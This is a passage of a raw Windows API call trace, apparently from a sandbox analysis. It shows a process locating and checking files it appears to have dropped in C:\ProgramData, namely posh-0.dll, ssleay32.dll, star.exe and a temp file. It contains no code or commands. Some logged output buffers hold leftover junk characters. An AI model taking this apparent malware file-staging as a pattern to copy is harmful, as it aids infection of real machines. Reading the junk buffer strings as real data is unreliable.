pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\posh-0.dll\\") returned 1 [0118.480] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\posh-0.dll\\", cchLength=0x2c | out: lpsz="\\device\\harddiskvolume1\\progra~3\\posh-0.dll\\") returned 0x2c [0118.480] SysReAllocStringLen (in: pbstr=0x4618dc*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\posh-0.dll\\", len=0x2c | out: pbstr=0x4618dc*="\\device\\harddiskvolume1\\progra~3\\posh-0.dll\\") returned 1 [0118.480] SysReAllocStringLen (in: pbstr=0x461900*=0x0, psz="device", len=0x6 | out: pbstr=0x461900*="device") returned 1 [0118.480] SysReAllocStringLen (in: pbstr=0x461920*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x461920*="harddiskvolume1") returned 1 [0118.480] SysReAllocStringLen (in: pbstr=0x46192c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x46192c*="progra~3") returned 1 [0118.480] SysReAllocStringLen (in: pbstr=0x461938*=0x0, psz="posh-0.dll", len=0xa | out: pbstr=0x461938*="posh-0.dll") returned 1 [0118.480] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device.dllaume1", lpUsedDefaultChar=0x0) returned 6 [0118.480] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0118.480] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3volume1", lpUsedDefaultChar=0x0) returned 8 [0118.480] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="posh-0.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="posh-0.dlllume1", lpUsedDefaultChar=0x0) returned 10 [0118.481] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.481] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.481] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.481] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x28f23c*="ssleay32.dll") returned 1 [0118.481] CharLowerBuffW (in: lpsz="ssleay32.dll", cchLength=0xc | out: lpsz="ssleay32.dll") returned 0xc [0118.481] SysReAllocStringLen (in: pbstr=0x28f240*="ssleay32.dll", psz="ssleay32.dll", len=0xc | out: pbstr=0x28f240*="ssleay32.dll") returned 1 [0118.482] SysReAllocStringLen (in: pbstr=0x461990*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x461990*="ssleay32.dll") returned 1 [0118.482] SysReAllocStringLen (in: pbstr=0x461994*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x461994*="ssleay32.dll") returned 1 [0118.482] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.482] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.482] CharLowerBuffW (in: lpsz="c:\\programdata\\ssleay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\ssleay32.dll") returned 0x1b [0118.482] SysReAllocStringLen (in: pbstr=0x461998*=0x0, psz="c:\\programdata\\ssleay32.dll", len=0x1b | out: pbstr=0x461998*="c:\\programdata\\ssleay32.dll") returned 1 [0118.482] CharLowerBuffW (in: lpsz="c:\\programdata\\ssleay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\ssleay32.dll") returned 0x1b [0118.482] SysReAllocStringLen (in: pbstr=0x461ae8*=0x0, psz="c:\\programdata\\ssleay32.dll", len=0x1b | out: pbstr=0x461ae8*="c:\\programdata\\ssleay32.dll") returned 1 [0118.482] SysReAllocStringLen (in: pbstr=0x461aec*=0x0, psz="c:", len=0x2 | out: pbstr=0x461aec*="c:") returned 1 [0118.482] SysReAllocStringLen (in: pbstr=0x461b0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x461b0c*="programdata") returned 1 [0118.483] SysReAllocStringLen (in: pbstr=0x461b2c*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x461b2c*="ssleay32.dll") returned 1 [0118.483] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatalr45w", lpUsedDefaultChar=0x0) returned 11 [0118.483] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="ssleay32.dll", cchWideChar=12, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssleay32.dllr45w", lpUsedDefaultChar=0x0) returned 12 [0118.483] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.483] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.483] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.483] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.483] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.483] GetLastError () returned 0x12 [0118.483] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.483] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0118.483] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0118.484] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="ssleay32.dll", len=0xc | out: pbstr=0x28ef0c*="ssleay32.dll") returned 1 [0118.484] FindFirstFileW (in: lpFileName="c:\\ProgramData\\ssleay32.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf3c40, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf3c40, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf3c40, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssleay32.dll", cAlternateFileName="")) returned 0x7632b0 [0118.484] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb8 | out: lpLocalFileTime=0x28eeb8) returned 1 [0118.484] FileTimeToDosDateTime (in: lpFileTime=0x28eeb8, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.484] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.484] SysReAllocStringLen (in: pbstr=0x28ef00*="c:\\ProgramData\\", psz="c:\\ProgramData\\ssleay32.dll", len=0x1b | out: pbstr=0x28ef00*="c:\\ProgramData\\ssleay32.dll") returned 1 [0118.484] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\ssleay32.dll", psz="c:\\ProgramData\\ssleay32.dll\\", len=0x1c | out: pbstr=0x28f214*="c:\\ProgramData\\ssleay32.dll\\") returned 1 [0118.484] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\ProgramData\\ssleay32.dll\\", len=0x1c | out: pbstr=0x28eefc*="c:\\ProgramData\\ssleay32.dll\\") returned 1 [0118.484] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData\\ssleay32.dll\\", psz="c:\\ProgramData\\ssleay32.dll", len=0x1b | out: pbstr=0x28f214*="c:\\ProgramData\\ssleay32.dll") returned 1 [0118.485] CharLowerBuffW (in: lpsz="c:\\ProgramData\\ssleay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\ssleay32.dll") returned 0x1b [0118.485] SysReAllocStringLen (in: pbstr=0x461ae8*=0x0, psz="c:\\programdata\\ssleay32.dll", len=0x1b | out: pbstr=0x461ae8*="c:\\programdata\\ssleay32.dll") returned 1 [0118.485] SysReAllocStringLen (in: pbstr=0x461aec*=0x0, psz="c:", len=0x2 | out: pbstr=0x461aec*="c:") returned 1 [0118.485] SysReAllocStringLen (in: pbstr=0x461b0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x461b0c*="programdata") returned 1 [0118.485] SysReAllocStringLen (in: pbstr=0x461b2c*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x461b2c*="ssleay32.dll") returned 1 [0118.485] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0118.485] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="ssleay32.dll", cchWideChar=12, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssleay32.dllme1", lpUsedDefaultChar=0x0) returned 12 [0118.485] CharLowerBuffW (in: lpsz="c:\\programdata\\ssleay32.dll", cchLength=0x1b | out: lpsz="c:\\programdata\\ssleay32.dll") returned 0x1b [0118.485] SysReAllocStringLen (in: pbstr=0x461b3c*=0x0, psz="c:\\programdata\\ssleay32.dll", len=0x1b | out: pbstr=0x461b3c*="c:\\programdata\\ssleay32.dll") returned 1 [0118.485] SysReAllocStringLen (in: pbstr=0x461b40*=0x0, psz="c:", len=0x2 | out: pbstr=0x461b40*="c:") returned 1 [0118.486] SysReAllocStringLen (in: pbstr=0x461b60*=0x0, psz="programdata", len=0xb | out: pbstr=0x461b60*="programdata") returned 1 [0118.486] SysReAllocStringLen (in: pbstr=0x461b80*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x461b80*="ssleay32.dll") returned 1 [0118.486] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata2.dllr45w", lpUsedDefaultChar=0x0) returned 11 [0118.486] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="ssleay32.dll", cchWideChar=12, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssleay32.dll.dllr45w", lpUsedDefaultChar=0x0) returned 12 [0118.486] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.486] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0118.486] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.486] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x7632b0 [0118.486] FindNextFileW (in: hFindFile=0x7632b0, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8e272280, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x8e272280, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0118.486] GetLastError () returned 0x12 [0118.486] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.536] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0118.536] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0118.536] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="ssleay32.dll", len=0xc | out: pbstr=0x28ef0c*="ssleay32.dll") returned 1 [0118.536] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\ssleay32.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x13bf3c40, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x13bf3c40, ftLastAccessTime.dwHighDateTime=0x1d59de1, ftLastWriteTime.dwLowDateTime=0x13bf3c40, ftLastWriteTime.dwHighDateTime=0x1d59de1, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssleay32.dll", cAlternateFileName="")) returned 0x7632b0 [0118.536] FileTimeToLocalFileTime (in: lpFileTime=0x28ef4c, lpLocalFileTime=0x28eeb4 | out: lpLocalFileTime=0x28eeb4) returned 1 [0118.536] FileTimeToDosDateTime (in: lpFileTime=0x28eeb4, lpFatDate=0x28ef1a, lpFatTime=0x28ef18 | out: lpFatDate=0x28ef1a, lpFatTime=0x28ef18) returned 1 [0118.536] FindClose (in: hFindFile=0x7632b0 | out: hFindFile=0x7632b0) returned 1 [0118.536] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\ssleay32.dll", len=0x18 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\ssleay32.dll") returned 1 [0118.536] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\ssleay32.dll", psz="c:\\PROGRA~3\\ssleay32.dll\\", len=0x19 | out: pbstr=0x28f210*="c:\\PROGRA~3\\ssleay32.dll\\") returned 1 [0118.536] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\ssleay32.dll\\", len=0x19 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\ssleay32.dll\\") returned 1 [0118.537] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\ssleay32.dll\\", psz="c:\\PROGRA~3\\ssleay32.dll", len=0x18 | out: pbstr=0x28f210*="c:\\PROGRA~3\\ssleay32.dll") returned 1 [0118.537] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\ssleay32.dll", cchLength=0x18 | out: lpsz="c:\\progra~3\\ssleay32.dll") returned 0x18 [0118.537] SysReAllocStringLen (in: pbstr=0x461b3c*=0x0, psz="c:\\progra~3\\ssleay32.dll", len=0x18 | out: pbstr=0x461b3c*="c:\\progra~3\\ssleay32.dll") returned 1 [0118.537] SysReAllocStringLen (in: pbstr=0x461b40*=0x0, psz="c:", len=0x2 | out: pbstr=0x461b40*="c:") returned 1 [0118.537] SysReAllocStringLen (in: pbstr=0x461b60*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461b60*="progra~3") returned 1 [0118.537] SysReAllocStringLen (in: pbstr=0x461b80*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x461b80*="ssleay32.dll") returned 1 [0118.537] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3.dllme1", lpUsedDefaultChar=0x0) returned 8 [0118.537] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="ssleay32.dll", cchWideChar=12, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ssleay32.dllme1", lpUsedDefaultChar=0x0) returned 12 [0118.538] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x461ba8, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB59A89.TMP⍔vバt☘E\x18") returned 12 [0118.538] CharLowerBuffW (in: lpsz="EVB59A89.TMP", cchLength=0xc | out: lpsz="evb59a89.tmp") returned 0xc [0118.538] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0118.538] FindFirstFileW (in: lpFileName="c:\\programdata\\evb59a89.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x1d59de1, ftCreationTime.dwLowDateTime=0x13bf3c40, ftCreationTime.dwHighDateTime=0x1d59de1, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x14400, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x730073, nFileSizeLow=0x65006c, dwReserved0=0x790061, dwReserved1=0x320033, cFileName=".dll", cAlternateFileName="A痜uA((")) returned 0xffffffff [0118.538] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0118.538] SysReAllocStringLen (in: pbstr=0x28f258*="evb59a89.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.538] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0118.538] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0118.538] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0118.538] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="ssleay32.dll", len=0xc | out: pbstr=0x28f1cc*="ssleay32.dll") returned 1 [0118.538] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\ssleay32.dll", len=0x30 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\ssleay32.dll") returned 1 [0118.538] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\", len=0x31 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\") returned 1 [0118.538] SysReAllocStringLen (in: pbstr=0x4619b4*=0x0, psz="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\", len=0x31 | out: pbstr=0x4619b4*="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\") returned 1 [0118.538] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\", cchLength=0x31 | out: lpsz="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\") returned 0x31 [0118.539] SysReAllocStringLen (in: pbstr=0x461bc0*=0x0, psz="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\", len=0x31 | out: pbstr=0x461bc0*="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x461be4*=0x0, psz="device", len=0x6 | out: pbstr=0x461be4*="device") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x461c04*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x461c04*="harddiskvolume1") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x461c10*=0x0, psz="programdata", len=0xb | out: pbstr=0x461c10*="programdata") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x461c1c*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x461c1c*="ssleay32.dll") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\ssleay32.dll\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="ssleay32.dll", len=0xc | out: pbstr=0x28f1c0*="ssleay32.dll") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll", len=0x2d | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll\\", len=0x2e | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll\\") returned 1 [0118.539] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll\\", cchLength=0x2e | out: lpsz="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll\\") returned 0x2e [0118.539] SysReAllocStringLen (in: pbstr=0x461c2c*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll\\", len=0x2e | out: pbstr=0x461c2c*="\\device\\harddiskvolume1\\progra~3\\ssleay32.dll\\") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x461c50*=0x0, psz="device", len=0x6 | out: pbstr=0x461c50*="device") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x461c70*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x461c70*="harddiskvolume1") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x461c7c*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x461c7c*="progra~3") returned 1 [0118.539] SysReAllocStringLen (in: pbstr=0x461c88*=0x0, psz="ssleay32.dll", len=0xc | out: pbstr=0x461c88*="ssleay32.dll") returned 1 [0118.539] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.539] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.539] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x28f23c*="star.exe") returned 1 [0118.540] CharLowerBuffW (in: lpsz="star.exe", cchLength=0x8 | out: lpsz="star.exe") returned 0x8 [0118.540] SysReAllocStringLen (in: pbstr=0x28f240*="star.exe", psz="star.exe", len=0x8 | out: pbstr=0x28f240*="star.exe") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x461ce0*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x461ce0*="star.exe") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x461ce4*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x461ce4*="star.exe") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0118.540] CharLowerBuffW (in: lpsz="c:\\programdata\\star.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\star.exe") returned 0x17 [0118.540] SysReAllocStringLen (in: pbstr=0x461ce8*=0x0, psz="c:\\programdata\\star.exe", len=0x17 | out: pbstr=0x461ce8*="c:\\programdata\\star.exe") returned 1 [0118.540] CharLowerBuffW (in: lpsz="c:\\programdata\\star.exe", cchLength=0x17 | out: lpsz="c:\\programdata\\star.exe") returned 0x17 [0118.540] SysReAllocStringLen (in: pbstr=0x461dc4*=0x0, psz="c:\\programdata\\star.exe", len=0x17 | out: pbstr=0x461dc4*="c:\\programdata\\star.exe") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x461dc8*=0x0, psz="c:", len=0x2 | out: pbstr=0x461dc8*="c:") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x461de8*=0x0, psz="programdata", len=0xb | out: pbstr=0x461de8*="programdata") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x461e08*=0x0, psz="star.exe", len=0x8 | out: pbstr=0x461e08*="star.exe") returned 1 [0118.540] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatalr45w", lpUsedDefaultChar=0x0) returned 11 [0118.540] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="star.exe", cchWideChar=8, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="star.exeatalr45w", lpUsedDefaultChar=0x0) returned 8 [0118.540] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0118.540] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0118.541] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, 